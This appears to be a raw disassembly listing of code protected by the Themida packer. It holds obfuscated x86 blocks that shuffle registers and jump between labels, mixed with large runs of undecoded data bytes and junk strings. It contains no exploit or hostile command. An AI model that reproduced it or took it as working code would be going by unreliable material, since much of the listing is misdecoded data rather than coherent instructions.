		dd 5F7B0824h, 34FF6695h, 0EF54E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A692:				; CODE XREF: Themida_:005996DAj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A22D8
; ---------------------------------------------------------------------------
		align 2
aIstb		db 'ëéâ',0
		align 4


loc_59A6A4:				; CODE XREF: Themida_:0059819Dj
		add	esp, 4
		shr	edx, 5
		dec	edx
		push	ecx
		mov	ecx, 5DDEDDEh
		jmp	loc_59E55F
; ---------------------------------------------------------------------------
aPh		db 'Ph',1Bh,'!',0
		align 4
		dd 0B6241489h, 306AB46Fh, 0B2E95AF4h, 0B90000A8h, 19370F97h
		dd 0E181D9F7h, 3C32B27h, 0F9DE981h, 0CD297CF5h,	81240C8Bh
		dd 4C4h, 0CACBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A6EE:				; CODE XREF: Themida_:005A02E2j
		mov	edi, [esp]
		add	esp, 4
		xchg	edi, ebx
		xchg	ebx, ebp
		inc	ebp
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, edx
		jmp	loc_59B4C4
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 111DE924h, 0C9810000h, 527B795Dh, 0E9C1D9F7h, 0DAE95004h
		dd 5100009Bh, 296D2AB9h, 81D9F76Bh, 8EFBE0C1h, 59C801ECh
		dd 96B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A739:				; CODE XREF: Themida_:00593442j
		sub	ecx, ebp
		add	ecx, 75E11DE6h
		jmp	loc_59B513
; ---------------------------------------------------------------------------
aZSue		db '‡,$éž…',0
		align 2
		dw 5149h
		dd 0EAE95955h, 58FFFFF3h, 0B034E950h, 0EC810000h, 4, 0FF918CE9h
		dd 13E95CFFh, 0BFFFFFAFh, 772234D3h, 10C1C781h,	0FE01955Dh
		dd 0BF57585Fh, 0C92210Bh, 498AC381h, 2BE93E67h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A78F:				; CODE XREF: Themida_:0059D0CBj
		inc	ebx
		shl	ebx, 2
		or	ebx, 1CF471FDh
		jmp	loc_599080
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 3D68h, 4EC835Ah,	0FFC8F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59A7B1:				; CODE XREF: Themida_:0059FE26j
		mov	esi, 69D007B9h
		neg	esi
		sub	esi, 83AD8BACh
		and	ecx, esi
		pop	esi
		and	ecx, 9B27D2Ch
		and	ecx, 2C8960E3h
		xor	ecx, 194C62C7h
		neg	ecx
		add	ecx, 25F733DDh
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_594346
; ---------------------------------------------------------------------------


loc_59A7E5:				; CODE XREF: Themida_:005A074Cj
		push	4836h
		mov	[esp], ebx
		mov	ebx, 5FF478BFh
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4FC474D6h
		mov	ecx, 650FDC32h
		sub	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 0B322F92h
		add	[esp+0Ch], esi
		pop	esi
		sub	[esp+8], ecx
		push	eax
		mov	eax, 0B322F92h
		jmp	loc_5A0463
; ---------------------------------------------------------------------------
		db 5Eh,	8Bh, 1Ch
		dd 4C48324h, 203FA01h, 0E92434FFh, 963Eh, 0E955E689h, 2678h
; ---------------------------------------------------------------------------


loc_59A840:				; CODE XREF: Themida_:00594E33j
		push	esp
		jmp	loc_59A302
; ---------------------------------------------------------------------------
		dw 0D831h
		dd 6F1668h, 241C8900h, 8931CABBh, 56F38706h, 5FE95E52h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A85F:				; CODE XREF: Themida_:005A01FAj
		mov	dh, al
		pop	eax
		pop	ecx
		pop	ebx
		mov	bl, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_59433A
; ---------------------------------------------------------------------------


loc_59A875:				; CODE XREF: Themida_:00599480j
		push	1381C3Ah
		mov	eax, [esp]
		add	esp, 4
		xchg	eax, ebp
		inc	ebp
		xchg	eax, ebp
		add	eax, 5A07FEB4h
		mov	ecx, eax
		pop	eax
		add	ecx, 513E199Ch
		add	ecx, 2D317FAFh
		jmp	loc_59F49E
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFA275h, 0E950E189h, 8CBDh
; ---------------------------------------------------------------------------


loc_59A8AC:				; CODE XREF: Themida_:0059F34Ej
		xor	ebp, 79562853h
		shl	ebp, 6
		sub	ebp, 9D203C25h
		xor	edx, ebp
		jmp	loc_5A2FFD
; ---------------------------------------------------------------------------
		dw 3A0Dh
		dd 2D3EA94Ah, 72B40BAAh, 158C289h, 5A082454h, 7DC468h
		dd 7113E900h, 0D7F7FFFFh, 0FF6D27E9h, 81EA01FFh, 13C1EC2h
		dd 16E95D34h, 0B8000099h, 4, 0FF8632E9h, 0F80166FFh, 0FFE4A7E9h
		dd 0B6BB53FFh, 89490222h, 69E95BD9h, 31FFFF72h,	0D4E95FF8h
		dd 53FFFFBBh, 823CE9h, 24448100h, 62476904h, 2474291Ch
		dd 246C8104h, 62476904h, 24348B1Ch, 0E904C483h,	0FFFF615Bh
; ---------------------------------------------------------------------------


loc_59A940:				; CODE XREF: Themida_:005A2B13j
		mov	[esp], ecx
		push	20674678h
		jmp	loc_59A2DB
; ---------------------------------------------------------------------------
		db 66h,	52h, 0B6h
		dd 0E9D6F6EAh, 0FFFFC24Dh, 7CEAE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A95E:				; CODE XREF: Themida_:00597287j
		sub	esi, 4D472888h
		sub	esi, 7AD702D7h
		add	esi, edx
		add	esi, 7AD702D7h
		add	esi, 4D472888h
		pop	edx
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	3A3h
		mov	[esp], esi
		mov	esi, 536E1C04h
		jmp	loc_59F505
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0C80004C4h, 0A2EAE9h
		db 0
byte_59A99D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0059085Co
		dd 0FFC0AAE9h, 7CA968FFh, 34890000h, 2474FF24h,	48F5E04h
		dd 0C0685C24h, 89000033h, 0EC83243Ch, 24148904h, 550A8468h
		dd 6AEDE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A9CE:				; CODE XREF: Themida_:0059E6F2j
		or	eax, 50F64CC5h
		add	eax, 2C09B13Fh
		add	ebp, eax
		jmp	loc_59F87C
; ---------------------------------------------------------------------------


loc_59A9DF:				; CODE XREF: Themida_:005933FCj
		push	3E1Eh
		mov	[esp], edx
		mov	dh, 4Dh
		xor	dh, 89h
		xor	al, dh
		pop	edx
		or	al, 11h
		sub	al, 6Eh
		mov	ch, al
		pop	eax
		jmp	loc_59F353
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81582434h, 4C4h, 59A5E900h, 665C0000h, 9C242CD3h, 0FF6086E9h
		dd 33B951FFh, 0C14A0842h, 0E9C103E1h, 7E1C108h,	7E1E9h
		dd 4C18100h, 0E9000000h, 0FFFFDDCBh, 0D9F0C681h, 0F789422Bh
		dd 50EA815Eh, 813F4E3Ah, 0BE3114EAh, 9FEA8159h,	11C8327h
		dd 9FC281FAh, 0E91C8327h, 907Ah
; ---------------------------------------------------------------------------


loc_59AA5C:				; CODE XREF: Themida_:005A422Ej
		push	4E89h
		mov	[esp], ebp
		push	esp
		jmp	loc_590B18
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 7D70E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59AA72:				; CODE XREF: Themida_:0059B6D3j
		and	esi, edx
		jmp	loc_59C244
; ---------------------------------------------------------------------------


loc_59AA79:				; CODE XREF: Themida_:005A42BEj
		mov	[esp], ebx
		jmp	loc_5A06CA
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 1000000h, 0A06859CDh, 0E9000039h, 5045h, 53E68956h
		dd 0FFB70EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AA9D:				; CODE XREF: Themida_:00596471j
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_598BC9
; ---------------------------------------------------------------------------
		dw 0E2C0h
		dd 0B7EA8005h, 885AD700h, 0EAC05BFAh, 97C28007h, 6FE95153h
		dd 81FFFFEBh, 763F2EEAh, 81DA2909h, 763F2EC2h, 0E9565B09h
		dd 9DDBh, 5753525Ah, 0E71C0BFh,	42C7816Dh, 0E992F18Eh
		dd 0D9Ch, 0B9668B05h, 1C5D0570h, 0B7E95A83h, 89FFFF98h
		dd 77E958C5h, 880000ABh, 54F7E9FCh, 0EF870000h,	1BA52h
		dd 72E90000h, 54FFFFE8h, 4B68E9h, 52BA5200h, 31476234h
		dd 31D731FAh, 87D7F7FAh, 95EA81FAh, 0E9130A2Dh,	279Fh
		dd 3304C483h, 0B4E92404h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59AB43:				; CODE XREF: Themida_:005A1B1Ej
		push	ebx
		mov	ebx, 0B761968h
		mov	edx, 0D56F483h
		jmp	loc_596205
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 3980h, 42474FFh
		dd 0FFF3AFE9h, 0C9F281FFh, 891CD270h, 82E5E9D7h, 0E95FFFFFh
		dd 0A9BDh, 0B0505866h, 58C63027h, 9681E9h, 4C68100h, 81000000h
		dd 4C6h, 24348700h, 0FFC220E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59ABA5:				; CODE XREF: Themida_:005A460Dj
		push	12D7h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5A1EF7
; ---------------------------------------------------------------------------


loc_59ABB7:				; CODE XREF: Themida_:005A13B4j
		add	esi, edx
		jmp	loc_59E9A7
; ---------------------------------------------------------------------------


loc_59ABBE:				; CODE XREF: Themida_:005A0FB5j
		mov	esp, [esp]
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59D694
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 8478E9h, 4EE18100h, 810A2548h, 16229C1h, 59CE8918h
		dd 895EF201h, 0D5F75AD5h, 7CE6E9h
		db 0
byte_59ABFD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005907FCo
		dd 0E846824h, 1EE90000h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59AC0B:				; CODE XREF: Themida_:00592FD5j
		sub	edi, 79A5028Fh
		add	edi, 79063A00h
		jmp	loc_59A625
; ---------------------------------------------------------------------------
		dd 5404EC83h, 8124048Fh, 42404h, 0E5E90000h, 5B000066h
		dd 8F46E9h, 0C3815D00h,	2AA2BBDh, 3D90E9h
		db 0
; ---------------------------------------------------------------------------


loc_59AC41:				; CODE XREF: Themida_:005A0A92j
		add	eax, ebp
		jmp	loc_5A2196
; ---------------------------------------------------------------------------
		dd 0E9242C89h, 13DBh, 8DC380h, 25C4E9C3h, 0C3880000h, 0A50E9h
		dd 4C78100h, 83000000h,	3C8704C7h, 68505C24h, 40h, 0FF2434FFh
		dd 51582434h, 0BE56E189h, 46D05252h, 57F68146h,	146D052h
		dd 0C1835EF1h, 240C8704h, 0DE4685Ch, 43E90000h,	8900008Bh
		dd 8B54240Ch, 0C483240Ch, 1F206804h, 81E90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ACB3:				; CODE XREF: Themida_:00596AE2j
		pop	ecx
		pop	ebp
		push	3A12h
		mov	[esp], esi
		push	eax
		mov	eax, 2E3362AAh
		push	731Bh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_59FD45
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFF7B7Fh, 0B158F5BDh, 1A5BB818h, 33E9FDE3h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59ACF3:				; CODE XREF: Themida_:00599021j
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5957B2
; ---------------------------------------------------------------------------
		db 81h,	34h, 24h
		dd 730F41C0h, 41C03558h, 0BE5D730Fh, 1A422E20h,	5658C631h
		dd 0CA7E77BEh, 5EF30165h, 0EB81F301h, 65CA7E77h, 0FFBC9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AD35:				; CODE XREF: Themida_:005A2A9Bj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	65E8h
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_5A20AC
; ---------------------------------------------------------------------------
dword_59AD54	dd 0E92434FFh, 46DAh, 5F2434FFh, 8104C483h, 60308CC3h
					; DATA XREF: Themida_:005908ACo
		dd 205E90Dh, 0EB810000h, 6B3A851Ch, 9F22E9h, 0B2B85000h
		dd 89187062h, 0ED8158C5h, 3AA1207Eh, 46FEED81h,	0EAE958A0h
		dd 88FFFF5Eh, 0E75AE9CAh, 2958FFFFh, 1C335FFBh,	241C3124h
		dd 8B241C33h, 14892424h, 0E99C5024h, 0FFFF5CE7h, 8904EC83h
		dd 0E389241Ch, 4C381h, 0C3830000h, 241C3304h, 0FFE1F8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59ADCD:				; CODE XREF: Themida_:0059F529j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0E0C9BBB9h
		add	ebp, 26447CE9h
		sub	ebp, eax
		jmp	loc_59F552
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 83241C8Bh, 0E95204C4h, 0FFFFA980h
; ---------------------------------------------------------------------------


loc_59ADF4:				; CODE XREF: Themida_:005A05D3j
		add	esp, 4
		push	3E44h
		mov	[esp], ecx
		jmp	loc_591A08
; ---------------------------------------------------------------------------
a4hu3stx	db '¾4Hž3éâX',0
		align 2
word_59AE0E	dw 8B66h		; DATA XREF: Themida_:005909C4o
		dd 0EC83240Ch, 6617E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59AE1A:				; CODE XREF: Themida_:0059F029j
		push	esi
		push	esp
		jmp	loc_59705C
; ---------------------------------------------------------------------------


loc_59AE21:				; CODE XREF: Themida_:00596B10j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		jmp	loc_591BF9
; ---------------------------------------------------------------------------


loc_59AE38:				; CODE XREF: Themida_:0059F53Aj
		push	edi
		mov	edi, 5EE8187Fh
		xor	edi, 38BC27A9h
		mov	ebx, edi
		push	dword ptr [esp]
		jmp	loc_5A0C20
; ---------------------------------------------------------------------------
		dw 0BE66h
		dd 2966B0FDh, 1665DEEh,	665E66F3h, 0C0B70F5Eh, 15268h
		dd 240C8900h, 90E9E189h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59AE6F:				; CODE XREF: Themida_:005A0601j
		mov	[esp], edx
		push	0B777795h
		pop	edx
		xor	edx, 5A442FBAh
		shr	edx, 4
		sub	esp, 4
		jmp	loc_591EB0
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 1528E9h, 32F58000h, 93DE9h, 0E1895100h, 0FFC826E9h
		dd 4C483FFh, 60C9E9h, 50D83000h, 405E089h, 83000000h, 48704E8h
		dd 14895C24h, 0B7535124h, 3032B5A0h, 2434FFFDh,	4C4835Bh
		dd 5208E5C0h, 0D6F6EE88h, 685AF588h, 46ADh, 0E9241489h
		dd 17B6h, 4245401h, 0E3E9585Ah,	8BFFFFB1h, 0C4832434h
		dd 7FF90504h, 0D02905EAh, 2BCE951h, 0F5010000h,	242C875Eh
		dd 30FF665Ch, 0FF5B8AE9h
		db 0FFh
byte_59AF11	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00590828o
aSdb		db '$éDB',0
		align 2


loc_59AF1A:				; CODE XREF: Themida_:00590CB6j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A227E
; ---------------------------------------------------------------------------
		db 29h
		dd 4812404h, 5D22B524h,	0CD05586Ah, 0E961DB3Dh,	0FFFFEBF9h
		dd 4CC0E957h, 0C4810000h, 4, 3C87ED81h,	0B6E9404Eh, 1FFFF62h
		dd 0AC96E9DEh, 0F280FFFFh, 8A1DE95Bh, 0EB810000h, 6BD2188Eh
		dd 0F4BE5655h, 8965E16Dh, 5DE95EF5h, 1000095h, 8CB951C3h
		dd 810D6030h, 3E0ADEEBh, 58C3812Eh, 2942D657h, 58EB81CBh
		dd 8142D657h, 3E0ADEC3h, 0B951592Eh, 13976DEh, 0C8BCB29h
		dd 4C48324h, 6699E9h, 30ACB400h, 6F7E9CCh, 0DAF60000h
		dd 80EEB753h, 0EF807CE7h, 0F9EF80B4h, 805BFA30h, 0EA8027C2h
		dd 5AD3285Dh, 8FC0B60Fh, 0C4E98704h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59AFD7:				; CODE XREF: Themida_:005A2B96j
		pop	edi
		sub	esp, 4
		jmp	loc_593355
; ---------------------------------------------------------------------------


loc_59AFE3:				; CODE XREF: Themida_:005A3E02j
		add	esi, ebx
		jmp	loc_5917C9
; ---------------------------------------------------------------------------
		dw 0E8BDh
		dd 8107F816h, 7B082444h, 166955Fh, 0E908246Ch, 0FFFFF682h
		dd 4EA81h, 0D9E90000h
		db 71h,	2 dup(0FFh)
byte_59B00B	db 66h			; DATA XREF: Themida_:00590870o
		dd 68240C8Bh, 1E61h, 7D20E9h, 11E95500h, 88FFFFA4h, 0FF04247Ch
		dd 0E95B2434h, 0FFFFE80Bh
; ---------------------------------------------------------------------------


loc_59B02C:				; CODE XREF: Themida_:005A3597j
		pop	ebx
		push	4EDEh
		mov	[esp], esi
		mov	esi, 5A7264E6h
		jmp	loc_59E0D7
; ---------------------------------------------------------------------------
		db 51h
		dd 240C8B54h, 5204C483h, 336DA0BAh, 0CFB2E917h,	0C15CFFFFh
		dd 0DA8703E2h, 0DA87D3F7h, 440C68h, 89EDE900h, 575F0000h
		dd 400EE9h, 0E0E95500h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B073:				; CODE XREF: Themida_:005A489Dj
		pop	esi
		add	esp, 4
		shr	edx, 6
		xor	edx, 528D698Bh
		sub	edx, 52DE18BDh
		jmp	loc_59508E
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 59545124h, 4C181h, 0E9810000h, 4,	97E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B0A5:				; CODE XREF: Themida_:0059F657j
		and	ebp, 39F374ACh
		xor	ebp, 0FF4214Eh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_59603D
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8107EBC1h, 0B003D1C3h, 666E97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B0CA:				; CODE XREF: Themida_:0059CC08j
		add	esi, eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_59360A
; ---------------------------------------------------------------------------
a5c@dHl?	db '5æ@„)hl?',0
		dd 24148900h, 6611BB53h, 5A533AC4h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_593825
; ---------------------------------------------------------------------------
word_59B10A	dw 1CF6h		; DATA XREF: Themida_:00590A10o
		dd 88E99C24h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B113:				; CODE XREF: Themida_:0059611Cj
		xor	edx, 0A39C95C4h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		or	esi, ebx
		pop	ebx
		add	esi, 0EF70ED18h
		sub	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_592A27
; ---------------------------------------------------------------------------
		dd 0E9D30158h, 0FFFFA794h, 0B706E953h, 6852FFFFh, 2E19h
		dd 0E9243489h, 6581h
; ---------------------------------------------------------------------------


loc_59B154:				; CODE XREF: Themida_:0059C1B7j
		push	esp
		jmp	loc_5A1C53
; ---------------------------------------------------------------------------


loc_59B15A:				; CODE XREF: Themida_:00595090j
		pop	edx
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_594C24
; ---------------------------------------------------------------------------
dword_59B168	dd 795568h, 24248900h, 4EC81h, 1C890000h, 46824h, 34FF0000h
					; DATA XREF: Themida_:0059083Co
		dd 1CE95B24h, 66FFFFACh, 0C406C681h, 0FFF5CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B191:				; CODE XREF: Themida_:0059D0AAj
		mov	esp, [esp]
		jmp	loc_5A4CDD
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0C2810000h, 4, 1CAAE9h, 4B85000h, 81000000h
		dd 6C5426C5h, 3BDAE915h, 0F9B90000h, 0E905EA7Fh, 4872h
		dd 0E6B8C281h, 0D089D55Eh, 8324148Bh, 0C20104C4h, 12D6E9h
		dd 56D83100h, 8904EC83h, 6EE92434h, 0B1FFFF6Bh,	66CE281Dh
		dd 0C8B6659h, 2C48124h,	80000000h, 40E967F6h, 0F700007Eh
		dd 0DAB7E9D3h, 0E953FFFFh, 0FFFFA371h
; ---------------------------------------------------------------------------


loc_59B210:				; CODE XREF: Themida_:0059FA35j
		mov	edi, 7E29522Eh
		dec	edi
		sub	edi, 0C871058h
		jmp	loc_5981AD
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0Bh
		dd 8140810Dh, 0AA22C0E1h, 0BB534969h, 20D321F6h, 0F5E9D929h
		dd 52000029h, 0D43093B2h, 0FF84D2E9h, 348152FFh, 0E1258324h
		dd 0F5815D67h, 67E12583h, 0BB535E5Ah, 392C3851h, 1C8BDD29h
		dd 4C48124h, 68000000h,	4B80h, 0E9243C89h, 0FFFFF2DBh
; ---------------------------------------------------------------------------


loc_59B274:				; CODE XREF: Themida_:00590D0Dj
		mov	ebx, 6B6561D9h
		xor	ebx, 4F0A37E4h
		inc	ebx
		sub	ebx, 19716767h
		add	ebx, 39172629h
		or	ebp, ebx
		pop	ebx
		jmp	loc_597F6D
; ---------------------------------------------------------------------------
aIISzq		db 'ˆÑˆÌ釟',0
		dd 60596800h, 3C890000h, 835F5424h, 0CBE904ECh
		db 48h,	2 dup(0)
byte_59B2AF	db 66h			; DATA XREF: Themida_:00590A28o
		dd 8324048Bh, 348904ECh, 0E0895024h, 405h, 42D00h, 1AE90000h
		dd 8B000070h, 0C483242Ch, 55D7F704h, 8D693BBDh,	7FF7E938h
		dd 3C310000h, 243C3324h, 0E924248Bh, 0FFFFE7E7h, 0C105EBC1h
		dd 814B05E3h, 13D8A0C3h, 8BDE29F7h, 0C483241Ch,	0ADAAE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B306:				; CODE XREF: Themida_:005A4F58j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_595934
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 53000000h, 0FB1BBFBBh, 5EBC136h, 0FF8725E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B325:				; CODE XREF: Themida_:00590B6Cj
		push	ecx
		mov	ecx, 6CB2331Bh
		jmp	loc_59334B
; ---------------------------------------------------------------------------


loc_59B330:				; CODE XREF: Themida_:00591ADDj
		sub	esi, 0D07D0159h
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_594523
; ---------------------------------------------------------------------------


loc_59B349:				; CODE XREF: Themida_:005A1B35j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59B355:				; CODE XREF: Themida_:005919C4j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_599294
; ---------------------------------------------------------------------------
		db 1, 0CAh, 0FFh
		dd 242C8132h, 33912BDDh, 58E6E958h, 0E94DFFFFh,	5D15h
		dd 53EB815Bh, 0E94629EEh, 0A684h, 58E5EE81h, 0A8E94E8Bh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B3A7:				; CODE XREF: Themida_:005A0D53j
		sub	edi, 0FF8722FBh
		mov	eax, edi
		pop	edi
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_591C69
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 87A3BD24h, 0C28169B1h, 328162B9h, 0EA81EA01h, 328162B9h
		dd 0FFB5B3E9h, 9DBA52FFh, 68348D6Fh, 0D04h, 0E9241489h
		dd 0FFFFDA72h, 266F5ABEh, 0DCE6815Eh, 83696D41h, 0A0E904ECh
		dd 8700006Bh, 665C241Ch, 9C240401h, 2E8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59B40D:				; CODE XREF: Themida_:005A46DCj
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5980DA
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0AAh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B41B:				; CODE XREF: Themida_:0059D255j
		sub	esi, edx
		jmp	loc_5920E9
; ---------------------------------------------------------------------------
		dw 8950h
		dd 555051F8h, 5BF5753h,	4728347Dh, 0DFF7DFF7h, 8104E7C1h
		dd 6C6D64C7h, 0C8C78135h, 89A2620Ah, 1B65E9FBh,	3C8B0000h
		dd 4C48124h, 56000000h,	4D8C6DBEh, 0E9F12995h, 0FFFFC8BDh
		dd 1E5FAA25h, 97CCE901h, 34FF0000h, 241C8B24h, 0B859E955h
		dd 0C381FFFFh, 4, 86B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B481:				; CODE XREF: Themida_:005A35F6j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A0B1D
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0E9D828B4h, 0FFFFA990h
; ---------------------------------------------------------------------------


loc_59B498:				; CODE XREF: Themida_:005920EFj
		sub	esi, 5A6F408Bh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59EDE4
; ---------------------------------------------------------------------------


loc_59B4A9:				; CODE XREF: Themida_:005A466Bj
		add	esp, 4
		jmp	loc_5A5B94
; ---------------------------------------------------------------------------
		dd 5C241487h, 46418A05h, 0E9D80128h, 27B8h
; ---------------------------------------------------------------------------


loc_59B4C4:				; CODE XREF: Themida_:0059A704j
		pop	edx
		sub	ebp, 65E55148h
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 7
		push	26B5h
		mov	[esp], edx
		push	3F35h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A0D6A
; ---------------------------------------------------------------------------
		dw 0C3B1h
		dd 0DAE9CB00h, 1FFFFECh, 53D8E9D8h, 565D0000h, 42474FFh
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5A31EB
; ---------------------------------------------------------------------------


loc_59B513:				; CODE XREF: Themida_:0059A741j
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_5A3110
; ---------------------------------------------------------------------------


loc_59B526:				; CODE XREF: Themida_:00595567j
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_597035
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 0FDB95153h, 5718DD10h, 22EF07BFh, 8BF901E7h,	0ADE9243Ch
		dd 5FFFFFA7h, 0FF66F8E9h, 348B66FFh, 0E2895224h, 4C281h
		dd 0EA810000h, 4, 5C241487h, 0FFF4F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B571:				; CODE XREF: Themida_:005983DBj
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	2 dup(0E9h)
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B57F:				; CODE XREF: Themida_:00595B59j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_593EC2
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
aSR_0		db '\é×R',0
		align 2


loc_59B596:				; CODE XREF: Themida_:005A4E22j
		push	eax
		push	0B227110h
		jmp	loc_594073
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 5Ah
		dd 50F41FA8h, 7B4B3EB8h, 1E8835Dh, 2B5B5835h, 50AE0520h
		dd 0C129F6E0h, 9BEE9h, 0B936800h, 0E8E90000h, 0BAFFFFC4h
		dd 7901A12Ah, 34FFF229h, 0C4815E24h, 4,	0FFAD54E9h, 0D2E956FFh
		dd 8BFFFFB7h, 0C481243Ch, 4, 0A7E9CB01h, 3100002Ah, 4332404h
		dd 46A0E924h, 0BA520000h, 3FCC5708h, 94B7E9h, 85CD8100h
		dd 81572635h, 10B5E4EDh, 5DEA89C5h, 15AD601h, 0B1EE81EEh
		dd 5D3A2749h, 2600685Bh, 5CE90000h
		db 7Ah,	2 dup(0)
byte_59B633	db 0FFh			; DATA XREF: Themida_:0059086Co
		dd 148B2434h, 4C48324h,	5371E9h, 4DC78100h, 8752380Dh
